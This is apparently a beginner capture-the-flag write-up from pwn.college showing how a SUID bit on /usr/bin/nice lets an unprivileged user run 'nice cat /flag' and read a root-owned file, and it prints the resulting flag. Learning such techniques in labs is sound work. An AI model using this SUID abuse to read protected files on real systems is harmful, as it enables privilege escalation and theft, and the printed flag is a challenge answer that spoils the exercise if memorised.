Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer Date: 2025-07-15
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/nice, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/nice

output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/nice

-The s in -rws indicates it’s a SUID binary. -nice runs with root privileges.

🚀 Exploitation

The nice command can run other commands — its purpose is to run them with a modified CPU scheduling priority (called “niceness”).

nice cat /flag

Output:

pwn.college{o2QCFMwsv3Urs8fxe3gzD1JLHuL.dljNxwSM0IzMyEzW}